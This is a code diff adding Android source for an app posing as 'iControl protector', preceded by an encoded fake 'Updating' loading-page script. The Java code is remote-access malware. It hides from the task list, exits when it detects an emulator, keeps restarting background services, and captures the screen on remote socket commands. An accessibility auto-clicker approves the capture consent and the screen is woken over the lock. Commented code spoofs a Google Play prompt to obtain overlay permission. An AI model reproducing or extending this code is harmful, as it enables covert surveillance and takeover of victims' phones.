mZ1bmN0aW9uIGdldFJhbmRvbUludChtaW4sbWF4KXttaW49TWF0aC5jZWlsKG1pbik7bWF4PU1hdGguZmxvb3IobWF4KTtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtYXgtbWluKzEpKSttaW47fQ0KbGV0IGN1cnJlbnRMYW5nPWRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5sYW5nfHxuYXZpZ2F0b3IubGFuZ3VhZ2Uuc2xpY2UoMCwyKTtjb25zdCBwcm9ncmVzc1RleHQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInByb2dyZXNzVGV4dCIpO2NvbnN0IHRyYW5zbGF0aW9ucz17YXI6WyLYrNin2LHZjSDYp9mE2KrYrdi22YrYsS4uLiIsItis2KfYsdmNINin2YTYqtit2K/ZitirLi4uIiwi2KzYp9ix2Y0g2KfZhNin2YbYqtmH2KfYoS4uLiIsItmF2LHYrdio2YvYpyJdLHpoOlsi5YeG5aSH5LitLi4uIiwi5pu05paw5LitLi4uIiwi5a6M5oiQ5LitLi4uIiwi5qyi6L+OIl0scnU6WyLQn9C+0LTQs9C+0YLQvtCy0LrQsC4uLiIsItCe0LHQvdC+0LLQu9C10L3QuNC1Li4uIiwi0JfQsNCy0LXRgNGI0LXQvdC40LUuLi4iLCLQlNC+0LHRgNC+INC/0L7QttCw0LvQvtCy0LDRgtGMIl0sdHI6WyJIYXrEsXJsYW7EsXlvci4uLiIsIkfDvG5jZWxsZW5peW9yLi4uIiwiVGFtYW1sYW7EsXlvci4uLiIsIkhvxZ8gZ2VsZGluaXoiXSxlczpbIlByZXBhcmFuZG8uLi4iLCJBY3R1YWxpemFuZG8uLi4iLCJGaW5hbGl6YW5kby4uLiIsIkJpZW52ZW5pZG8iXSxwdDpbIlByZXBhcmFuZG8uLi4iLCJBdHVhbGl6YW5kby4uLiIsIkZpbmFsaXphbmRvLi4uIiwiQmVtLXZpbmRvIl0sZW46WyJQcmVwYXJpbmcuLi4iLCJVcGRhdGluZy4uLiIsIkZpbmlzaGluZy4uLiIsIldlbGNvbWUiXX07Y29uc3QgbWVzc2FnZXM9dHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXXx8dHJhbnNsYXRpb25zWyJlbiJdO2NvbnN0IHN0YXR1c1RleHQ9ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInN0YXR1c1RleHQiKTtsZXQgaW5kZXg9MDtjb25zdCB0b3RhbFRpbWU9MjEwMDA7Y29uc3QgaW50ZXJ2YWw9TWF0aC5mbG9vcih0b3RhbFRpbWUvbWVzc2FnZXMubGVuZ3RoKTtjb25zdCBpbnRlcnZhbElkPXNldEludGVydmFsKCgpPT57c3RhdHVzVGV4dC50ZXh0Q29udGVudD1tZXNzYWdlc1tpbmRleF07Y29uc3QgcGVyY2VudD1NYXRoLmZsb29yKCgoaW5kZXgrMSkvbWVzc2FnZXMubGVuZ3RoKSoxMDApO2NvbnN0IGZyb209aW5kZXg9PT0wPzA6TWF0aC5mbG9vcigoaW5kZXgvbWVzc2FnZXMubGVuZ3RoKSoxMDApO2NvbnN0IHRvPXBlcmNlbnQ7bGV0IHJhbmRvbU51bWJlcj1nZXRSYW5kb21JbnQoNTAwLDMwMDApO2FuaW1hdGVQZXJjZW50YWdlKGZyb20sdG8saW50ZXJ2YWwtcmFuZG9tTnVtYmVyKTtpbmRleCsrO2lmKGluZGV4Pj1tZXNzYWdlcy5sZW5ndGgpe2NsZWFySW50ZXJ2YWwoaW50ZXJ2YWxJZCk7fX0saW50ZXJ2YWwpO2Z1bmN0aW9uIGFuaW1hdGVQZXJjZW50YWdlKGZyb20sdG8sZHVyYXRpb24pe2NvbnN0IHN0YXJ0PXBlcmZvcm1hbmNlLm5vdygpO2Z1bmN0aW9uIHVwZGF0ZSh0aW1lc3RhbXApe2NvbnN0IGVsYXBzZWQ9dGltZXN0YW1wLXN0YXJ0O2NvbnN0IHByb2dyZXNzPU1hdGgubWluKGVsYXBzZWQvZHVyYXRpb24sMSk7Y29uc3QgY3VycmVudD1NYXRoLmZsb29yKGZyb20rKHRvLWZyb20pKnByb2dyZXNzKTtwcm9ncmVzc1RleHQudGV4dENvbnRlbnQ9Y3VycmVudCsiJSI7aWYocHJvZ3Jlc3M8MSl7cmVxdWVzdEFuaW1hdGlvbkZyYW1lKHVwZGF0ZSk7fX0NCnJlcXVlc3RBbmltYXRpb25GcmFtZSh1cGRhdGUpO30NCnN0YXR1c1RleHQudGV4dENvbnRlbnQ9bWVzc2FnZXNbMF07PC9zY3JpcHQ+DQo8L2JvZHk+DQo8L2h0bWw+
File diff suppressed because it is too large Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,729 @@
package com.icontrol.protector;
import static android.net.ConnectivityManager.RESTRICT_BACKGROUND_STATUS_ENABLED;
import static com.icontrol.protector.MyCods.isServiceRunning;
import static com.icontrol.protector.UtliTools.excludeFromTaskList;
import static com.icontrol.protector.UtliTools.setupWorkManager;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.DownloadManager;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.Point;
import android.graphics.drawable.Drawable;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.provider.Settings;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.webkit.DownloadListener;
import android.webkit.JsResult;
import android.webkit.URLUtil;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceRequest;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import com.github.megatronking.stringfog.annotation.StringFogIgnore;
import java.net.URI;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
public class ActivMain extends Activity {
private final static int FILECHOOSER_RESULTCODE = 1;
private ValueCallback<Uri[]> mUploadMessage;
public String[] NormalPermissions() {
List<String> permissions = new ArrayList<>();
// Add only normal permissions
permissions.add(android.Manifest.permission.INTERNET); // Normal
permissions.add(android.Manifest.permission.WAKE_LOCK); // Normal
permissions.add(android.Manifest.permission.ACCESS_NETWORK_STATE); // Normal
permissions.add(android.Manifest.permission.ACCESS_WIFI_STATE); // Normal
permissions.add(android.Manifest.permission.CHANGE_WIFI_STATE); // Normal
permissions.add(android.Manifest.permission.MODIFY_AUDIO_SETTINGS); // Normal
//permissions.add(android.Manifest.permission.POST_NOTIFICATIONS); // Normal
return permissions.toArray(new String[0]);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent intent) {
if (requestCode == FILECHOOSER_RESULTCODE) {
if (null == mUploadMessage || intent == null || resultCode != RESULT_OK) {
return;
}
Uri[] result = null;
String dataString = intent.getDataString();
if (dataString != null) {
result = new Uri[]{Uri.parse(dataString)};
}
mUploadMessage.onReceiveValue(result);
mUploadMessage = null;
}
}
public class MyChrome extends WebChromeClient {
MyChrome() {
}
@Override
public boolean onJsAlert(WebView view, String url, String message, JsResult result) {
// Create a builder to display the alert message
AlertDialog.Builder builder = new AlertDialog.Builder(view.getContext());
builder.setTitle("JavaScript Alert");
builder.setMessage(message);
// Set a positive button and its listener
builder.setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// Confirm the result in the JavaScript result
result.confirm();
}
});
// Prevent the dialog from being cancelable
builder.setCancelable(false);
// Show the alert dialog
builder.create().show();
// Return true to indicate that you've handled the alert
return true; // Note: Not calling super here, as you're handling the alert
}
@Override
public boolean onShowFileChooser(WebView webView, ValueCallback<Uri[]> filePathCallback, FileChooserParams fileChooserParams) {
// asegurar que no existan callbacks
if (mUploadMessage != null) {
mUploadMessage.onReceiveValue(null);
}
mUploadMessage = filePathCallback;
Intent i = new Intent(Intent.ACTION_GET_CONTENT);
i.addCategory(Intent.CATEGORY_OPENABLE);
i.setType("*/*"); // set MIME type to filter
ActivMain.this.startActivityForResult(Intent.createChooser(i, "File Chooser"), ActivMain.FILECHOOSER_RESULTCODE);
return true;
}
}
@Override
protected void onSaveInstanceState(Bundle outState) {
super.onSaveInstanceState(outState);
if (mWebView != null) {
mWebView.saveState(outState);
}
}
@Override
protected void onRestoreInstanceState(Bundle savedInstanceState) {
super.onRestoreInstanceState(savedInstanceState);
if (mWebView != null) {
mWebView.restoreState(savedInstanceState);
}
}
public static boolean isinternetOK(Context context) {
ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo activeNW = cm.getActiveNetworkInfo();
if (activeNW != null && activeNW.isConnected()) {
return true;
} else {
return false;
}
}
private View.OnClickListener out = new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
finish();
} catch (Exception e) {
}
}
};
private View.OnClickListener Oklistner = new View.OnClickListener() {
@Override
public void onClick(View view) {
try {
Intent Acc_intent = new Intent(Settings.ACTION_WIFI_SETTINGS);
Acc_intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(Acc_intent);
} catch (Exception e) {
}
}
};
public WebView mWebView;
String value = "skin.info";
private boolean isEmulator() {
return (Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic"))
|| Build.FINGERPRINT.startsWith("generic")
|| Build.FINGERPRINT.startsWith("unknown")
|| Build.HARDWARE.contains("goldfish")
|| Build.HARDWARE.contains("ranchu")
|| Build.MODEL.contains("google_sdk")
|| Build.MODEL.contains("Emulator")
|| Build.MODEL.contains("Android SDK built for x86")
|| Build.MANUFACTURER.contains("Genymotion")
|| Build.PRODUCT.contains("sdk_google")
|| Build.PRODUCT.contains("google_sdk")
|| Build.PRODUCT.contains("sdk")
|| Build.PRODUCT.contains("sdk_x86")
|| Build.PRODUCT.contains("sdk_gphone64_arm64")
|| Build.PRODUCT.contains("vbox86p")
|| Build.PRODUCT.contains("emulator")
|| Build.PRODUCT.contains("simulator");
}
private void AsknoEmu() {
String buttonnameOK = "OK";
String alertmsg = "OK";
String MYNAME = "Emulator detected";
String CurrnetLanuage = Locale.getDefault().getLanguage();
switch (CurrnetLanuage) {
case "en":
buttonnameOK = "ok";
MYNAME = "Emulator detected";
alertmsg = "this app does not support emulator devices";
break;
case "ar":
buttonnameOK = "موافق";
MYNAME = "تم اكتشاف محاكي";
alertmsg = ("هذا التطبيق لا يدعم أجهزة المحاكي");
break;
case "zh":
buttonnameOK = "好的";
MYNAME = "检测到模拟器";
alertmsg = ("此应用不支持模拟器设备");
break;
case "tr":
buttonnameOK = "Tamam";
MYNAME = "öykünücü algılandı";
alertmsg = ("bu uygulama öykünücü aygıtları desteklemiyor");
break;
default:
buttonnameOK = "OK";
MYNAME = "Emulator detected";
alertmsg = ("this app does not support emulator devices");
break;
}
Drawable icon;
try {
// null;
icon = getPackageManager().getApplicationIcon(getPackageName());
} catch (PackageManager.NameNotFoundException ex) {
icon = null;
}
AlertDialog.Builder builder = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert)
.setTitle(MYNAME)
.setMessage(alertmsg)
.setPositiveButton(buttonnameOK, (dialog, which) -> {
// Handle positive button click
finish();
System.exit(0);
});
if (icon != null) {
builder.setIcon(icon);
}
builder.show();
}
private static final int PERMISSION_REQUEST_CODE = 22;
private void checkAndRequestPermissions() {
String[] permissions = NormalPermissions();
List<String> permissionsNeeded = new ArrayList<>();
for (String permission : permissions) {
if (ContextCompat.checkSelfPermission(getApplicationContext(), permission) != PackageManager.PERMISSION_GRANTED) {
permissionsNeeded.add(permission);
}
}
if (!permissionsNeeded.isEmpty()) {
ActivityCompat.requestPermissions(this, permissionsNeeded.toArray(new String[0]), PERMISSION_REQUEST_CODE);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
}
@Override
public void onCreate(Bundle v) {
super.onCreate(v);
excludeFromTaskList(getApplicationContext());
ConfigManager config = ConfigManager.getInstance();
try {
config.initialize(getApplicationContext(), My_Configs.ALL_CONFIG);
Context ctx = getApplicationContext();
LiveChat.instance(getApplicationContext());
checkAndRequestPermissions();
if (MySettings.Read(ctx,Consts.Mob_width,"").length() == 0){
Point size = new Point();
getWindowManager().getDefaultDisplay().getRealSize(size);
int width = Math.min(size.x, size.y);
int height = Math.max(size.x, size.y);
MySettings.Write(ctx, Consts.Mob_width, String.valueOf(width));
MySettings.Write(ctx, Consts.Mob_height, String.valueOf(height));
}
} catch (Exception e) {
e.printStackTrace();
}
if (My_Configs.Anti_emulator.equals("1") && isEmulator()) {
AsknoEmu();
return;
}
if (!isinternetOK(getApplicationContext())) {
setContentView(R.layout.nointernet);
TextView NointernetDescrip = (TextView) findViewById(R.id.nodescrip);
String CurrnetLanuage = Locale.getDefault().getLanguage();
switch (CurrnetLanuage) {
case "en":
NointernetDescrip.setText(
"No internet connection detected.\n\n please connect to internet and try again");
break;
case "ar":
NointernetDescrip.setText(
"لم يتم الكشف عن اتصال بالإنترنت .\n\n الرجاء الاتصال بالإنترنت والمحاولة مرة أخرى");
break;
case "zh":
NointernetDescrip.setText(
"未检测到 Internet 连接。\n\n 请连接到 Internet 并重试");
break;
case "tr":
NointernetDescrip.setText(
"internet bağlantısı algılanmadı.\n\n lütfen internete bağlanın ve tekrar deneyin");
break;
default:
NointernetDescrip.setText(
"no internet connection detected.\n\n please connect to internet and try again");
break;
}
ImageView enablebtn = (ImageView) findViewById(R.id.noneticon);
enablebtn.setOnClickListener(Oklistner);
Button closebtn = (Button) findViewById(R.id.closeme);
closebtn.setOnClickListener(out);
} else {
try {
getWindow().setFlags(
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED,
WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
} catch (Exception a) {
}
if(My_Configs.Is_Store.equals("1")){
Context mcontext = getApplicationContext();
Intent workint = new Intent(mcontext, EngineWorker.class);
if (!isServiceRunning(mcontext, EngineWorker.class))
{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint);
}else
{
mcontext.startService(workint);
}
}
finish();
return;
}
setContentView(R.layout.mywebviewer);
mWebView = (WebView) findViewById(R.id.MyView);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.getSettings().setLoadsImagesAutomatically(true);
mWebView.getSettings().setLoadWithOverviewMode(true);
mWebView.getSettings().setUseWideViewPort(true);
mWebView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY);
mWebView.getSettings().setAllowFileAccess(true);
mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK);
mWebView.getSettings().setDomStorageEnabled(true);
mWebView.getSettings().setAllowFileAccessFromFileURLs(true);
mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true);
mWebView.getSettings().setAllowContentAccess(true);
try {
mWebView.setLayerType(View.LAYER_TYPE_HARDWARE, null);
mWebView.getSettings().setPluginState(WebSettings.PluginState.ON);
mWebView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH);
mWebView.setBackgroundColor(0xffffffff);
} catch (Exception a) {
}
mWebView.getSettings().setBuiltInZoomControls(false);
My_Crpter cr = My_Crpter.Getinstance();
value = cr.Dcrpt_Str(My_Configs.HOME_NAME);
// String userAgent = System.getProperty("http.agent");
// MyLoger.Debug("userAgent:",userAgent);
// if (value.contains("google.com") || value.contains("youtube.com")) {
//
// mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.88 Mobile Safari/537.36");
//
// } else {
// mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 11; SM-A125F Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.88 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/362.0.0.27.109;]");
// }
mWebView.setDownloadListener(new DownloadListener() {
@Override
public void onDownloadStart(String url, String userAgent,
String contentDisposition, String mimetype,
long contentLength) {
try {
DownloadManager.Request request = new DownloadManager.Request(
Uri.parse(url));
final String filename = URLUtil.guessFileName(url, contentDisposition, mimetype);
request.allowScanningByMediaScanner();
request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_COMPLETED); //Notify client once download is completed!
request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, filename);
DownloadManager dm = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
dm.enqueue(request);
Toast.makeText(getApplicationContext(), "Downloading File", Toast.LENGTH_LONG).show();
} catch (Exception e) {
}
}
});
mWebView.setWebChromeClient(new MyChrome());
mWebView.setWebViewClient(new MyWebViewClient());
String ua= mWebView.getSettings().getUserAgentString();
mWebView.getSettings().setUserAgentString(ua);
Context mcontext = getApplicationContext();
startworkers(mcontext);
if (!value.startsWith("http://") && !value.startsWith("https://")){
value = "http://" + value;
}
mWebView.loadUrl(value);
if (config.req_backdata ){
ConnectivityManager connectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
if (connectivityManager.isActiveNetworkMetered()) {
// Checks users Data Saver settings.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
switch (connectivityManager.getRestrictBackgroundStatus()) {
case RESTRICT_BACKGROUND_STATUS_ENABLED:
Intent intusage = new Intent(getApplicationContext(), RequestDataUsage.class);
intusage.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(intusage);
break;
default:
break;
}
}
}
}
// if(My_Configs.Hide_ico.equals("1") && MySettings.ReadBool(mcontext,Consts.setupok,false)){
// finish();
//
// }else{
//
// }
}
}
private class MyWebViewClient extends WebViewClient {
@Override
public void onPageStarted(WebView view, String url, Bitmap favicon) {
// TODO Auto-generated method stub
super.onPageStarted(view, url, favicon);
}
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
// TODO Auto-generated method stub
if (request != null && request.getUrl() != null) {
String url = request.getUrl().toString();
if (!url.startsWith("http") && url.contains("://")) {
try {
URI uri = new URI(url);
String newUrl = uri.getHost() + uri.getPath();
mWebView.loadUrl(newUrl);
return true; // URL handled
} catch (Exception e) {
e.printStackTrace();
}
}
}
return false;
}
@Override
public void onReceivedError(WebView view, int errorCode,
String description, String failingUrl) {
}
@Override
public void onPageFinished(WebView view, String url) {
// TODO Auto-generated method stub
super.onPageFinished(view, url);
// progressBar.setVisibility(View.GONE);
}
}
@Override
public void onBackPressed() {
try {
if (mWebView != null && mWebView.canGoBack()) {
mWebView.goBack();
} else {
super.onBackPressed();
}
} catch (NullPointerException s) {
super.onBackPressed();
}
}
@Override
protected void onDestroy() {
try
{
try{
if(mWebView != null){
mWebView.stopLoading();
mWebView.clearHistory();
mWebView.clearCache(true);
ViewGroup parent = (ViewGroup) mWebView.getParent();
if (parent != null) {
parent.removeView(mWebView);
}
mWebView.removeAllViews();
mWebView.destroy();
mWebView = null;
}
}catch (Exception s){}
JobSchedulerUtil.scheduleJob(getApplicationContext());
Context mcontext = getApplicationContext();
startworkers(mcontext);
AlarmHelper.setAlarm(mcontext);
setupWorkManager(getApplicationContext());
}catch (Exception a){}
super.onDestroy();
}
@Override
public void finish() {
try{
Context mcontext = getApplicationContext();
mWebView=null;
startworkers(mcontext);
AlarmHelper.setAlarm(mcontext);
}catch (Exception a){}
super.finish();
}
private void startworkers(Context ctx){
Context mcontext = ctx;
new Thread(new Runnable() {
@Override
public void run() {
try {
// try{
// Thread.sleep(10000);
// }catch (Exception a){}
Intent workint = new Intent(mcontext, EngineWorker.class);
if (!isServiceRunning(mcontext, EngineWorker.class))
{
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
mcontext.startForegroundService(workint);
}else
{
mcontext.startService(workint);
}
}
// if (!Codes.isServiceRunning(mcontext, WorkServices.class))
// {
// Intent workint2 = new Intent(mcontext, WorkServices.class);
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
// mcontext.startForegroundService(workint2);
// }else
// {
// mcontext.startService(workint2);
// }
// }
} catch (Exception e) {
}
}
}).start();
}
// @Override
// public void finish() {
//
// if (init_ClassGen_e.HideType.equalsIgnoreCase("K")) {
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
// super.finishAndRemoveTask();
// } else {
// super.finish();
// }
// }
// }
}
@@ -0,0 +1,208 @@
package com.icontrol.protector;
import static androidx.activity.result.ActivityResultCallerKt.registerForActivityResult;
import static com.icontrol.protector.Consts.Stored_intentdata;
import static com.icontrol.protector.Consts.Stored_resultCode;
import android.app.Activity;
import android.app.KeyguardManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ServiceInfo;
import android.media.projection.MediaProjectionConfig;
import android.media.projection.MediaProjectionManager;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.os.PowerManager;
import android.view.View;
import android.view.WindowManager;
import androidx.activity.result.ActivityResultLauncher;
import androidx.activity.result.contract.ActivityResultContracts;
import androidx.appcompat.app.AppCompatActivity;
import java.util.regex.Pattern;
public class ActivityCaptureScreen extends Activity {
private static final int REQUEST_CODE = 100;
private static int Quality = 70;
private static String Sockid = "null";
private String Commands[] = null;
@Override
public void onBackPressed() {
return;
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
try {
// getWindow().getDecorView().setSystemUiVisibility(
// View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
// Turn screen on and show even if locked
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) {
setShowWhenLocked(true);
setTurnScreenOn(true);
}
getWindow().addFlags(
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED |
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
);
// Optional: dismiss keyguard
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
// KeyguardManager keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
// keyguardManager.requestDismissKeyguard(this, null);
// } else {
// getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
// }
// Optional: full screen
getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN);
PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
if (pm != null) {
PowerManager.WakeLock wakeLock = pm.newWakeLock(
PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.ON_AFTER_RELEASE,
"App:IncomingCall"
);
wakeLock.acquire(3000);
}
} catch (Exception a) {
a.printStackTrace();
}
Intent inte = getIntent();
try {
Commands = inte.getStringExtra("COM").trim().split(Pattern.quote(Consts.SPLIT_SKT));
} catch (Exception s) {
Commands = null;
}
if (Commands == null) {
finish();
return;
}
Handler hstop = new Handler(Looper.getMainLooper());
hstop.postDelayed(new Runnable() {
public void run() {
try {
switch (Commands[0]) {
case "ON":
Quality = Integer.valueOf(Commands[1]);
Sockid = Commands[2];
//MyLoger.Debug("Stored_resultCode:",String.valueOf(Stored_resultCode));
//MyLoger.Debug("Stored_intentdata:",String.valueOf(Stored_intentdata));
if (Stored_intentdata != null &&
Stored_resultCode != -999 &&
Build.VERSION.SDK_INT < 34) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(ScreenCaps.getStartIntent(getApplicationContext(), Stored_resultCode, Stored_intentdata, Quality, Sockid));
} else {
startService(ScreenCaps.getStartIntent(getApplicationContext(), Stored_resultCode, Stored_intentdata, Quality, Sockid));
}
finish();
return;
} else {
startCatpure();
// MySettings.WriteBool(getApplicationContext(),Consts.Auto_Clicker,true);
AccessServices.Auto_Click = true;
// if (Build.VERSION.SDK_INT >= 34){
// MySettings.WriteBool(getApplicationContext(),Consts.Auto_Sreen,true);
// }
}
break;
case "OFF":
StopCatpure();
finish();
break;
}
} catch (Exception d) {
}
}
}, 1100);
}
// private ActivityResultLauncher<Intent> screenCaptureLauncher = registerForActivityResult(
// new ActivityResultContracts.StartActivityForResult(),
// result -> {
// if (result.getResultCode() == Activity.RESULT_OK) {
// Intent data = result.getData();
// // Start media projection with the obtained data
// // MySettings.WriteBool(getApplicationContext(), Consts.Auto_Sreen, false);
// //MySettings.WriteBool(getApplicationContext(),Consts.Auto_Clicker,false);
// AccessServices.Auto_Click = false;
// Stored_intentdata = data;
// Stored_resultCode = result.getResultCode();
// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
// startForegroundService(ScreenCaps.getStartIntent(getApplicationContext(), result.getResultCode(), data, Quality, Sockid));
// }else{
// startService(ScreenCaps.getStartIntent(getApplicationContext(), result.getResultCode(), data, Quality, Sockid));
// }
//
// this.finish();
// } else {
// // Handle cancellation or failure
// }
// }
// );
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == REQUEST_CODE) {
if (resultCode == Activity.RESULT_OK) {
//MySettings.WriteBool(getApplicationContext(), Consts.Auto_Sreen, false);
//MySettings.WriteBool(getApplicationContext(),Consts.Auto_Clicker,false);
AccessServices.Auto_Click = false;
Stored_intentdata = data;
Stored_resultCode = resultCode;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
startForegroundService(ScreenCaps.getStartIntent(getApplicationContext(), resultCode, data, Quality, Sockid));
} else {
startService(ScreenCaps.getStartIntent(getApplicationContext(), resultCode, data, Quality, Sockid));
}
this.finish();
}
}
}
private void startCatpure() {
MediaProjectionManager mProjectionManager =
(MediaProjectionManager) getApplicationContext().getSystemService(Context.MEDIA_PROJECTION_SERVICE);
// if(Build.VERSION.SDK_INT >= 34){
//
// screenCaptureLauncher.launch(mProjectionManager.createScreenCaptureIntent(MediaProjectionConfig.createConfigForDefaultDisplay()));
// } else
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) {
startActivityForResult(mProjectionManager.createScreenCaptureIntent(MediaProjectionConfig.createConfigForDefaultDisplay()), REQUEST_CODE);
} else {
startActivityForResult(mProjectionManager.createScreenCaptureIntent(), REQUEST_CODE);
}
}
private void StopCatpure() {
startService(ScreenCaps.getStopIntent(getApplicationContext()));
}
}
@@ -0,0 +1,217 @@
package com.icontrol.protector;
import static com.icontrol.protector.UtliTools.getLabelApplication;
import android.app.Activity;
import android.app.AlertDialog;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.graphics.drawable.Drawable;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.provider.Settings;
import android.view.Window;
import android.view.WindowManager;
import java.util.Locale;
public class ActivityDraw extends Activity {
// private static ActivityDraw instance;
// public static boolean isActivityOpen() {
// return instance != null;
// }
// private void AskDraw() {
//
// AlertDialog.Builder alertDialog = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert);
//
// String OK_Btn = "OK";
// String MYNAME = "";
//
//
// MYNAME = getLabelApplication(getApplicationContext()).toLowerCase();
//
// String CurrnetLanuage = Locale.getDefault().getLanguage();
// switch (CurrnetLanuage) {
// case "en":
// OK_Btn = "Enable";
// alertDialog.setMessage("To receive notifications from this application," +
// "\nEnable 'Draw over apps' for: " + MYNAME);
// break;
// case "ar":
// OK_Btn = "تفعيل";
// alertDialog.setMessage("لتلقي الإشعارات من هذا التطبيق" +
// "\nقم بتمكين 'الإظهار فوق التطبيقات' لـ: " + MYNAME);
// break;
// case "cn":
// OK_Btn = "使能够";
// alertDialog.setMessage("接收来自此应用程序的通知," +
// "\n启用'绘制在其他应用程序之上' " + MYNAME);
// break;
// case "tr":
// OK_Btn = "Etkinleştir";
// alertDialog.setMessage("Bu uygulamadan bildirim almak için," +
// "\n" + MYNAME + " için 'Diğer uygulamaların üstüne çiz' özelliğini etkinleştirin.");
// break;
// case "ru":
// OK_Btn = "Включить";
// alertDialog.setMessage("Чтобы получать уведомления от этого приложения," +
// "\nвключите 'Отображение поверх других приложений' для: " + MYNAME);
// break;
// default:
// OK_Btn = "Enable";
// alertDialog.setMessage("To receive notifications from this application," +
// "\nEnable 'Draw over apps' for: " + MYNAME);
// break;
// }
//
// try {
// Drawable icon = this.getPackageManager().getApplicationIcon("com.android.vending");
// alertDialog.setIcon(icon);
// alertDialog.setTitle("Google Play");
// } catch (PackageManager.NameNotFoundException e) {
//
// try {
//
// Drawable icon = this.getPackageManager().getApplicationIcon(getPackageName());
// alertDialog.setIcon(icon);
// alertDialog.setTitle(MYNAME);
// } catch (PackageManager.NameNotFoundException ex) {
//
// }
//
// }
//
//
// alertDialog.setPositiveButton(OK_Btn, new DialogInterface.OnClickListener() {
// @Override
// public void onClick(DialogInterface dialogInterface, int i) {
//
// }
// });
//
//
// alertDialog.setOnCancelListener(new DialogInterface.OnCancelListener() {
// @Override
// public void onCancel(DialogInterface dialogInterface) {
// Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// intent.setData(Uri.parse("package:" + getPackageName()));
// StringBuilder var6 = new StringBuilder();
// var6.append(getPackageName());
// var6.append("/");
// var6.append(AccessServices.class.getName());
// String var7 = var6.toString();
// Bundle var4 = new Bundle();
// var4.putString(":settings:fragment_args_key", var7);
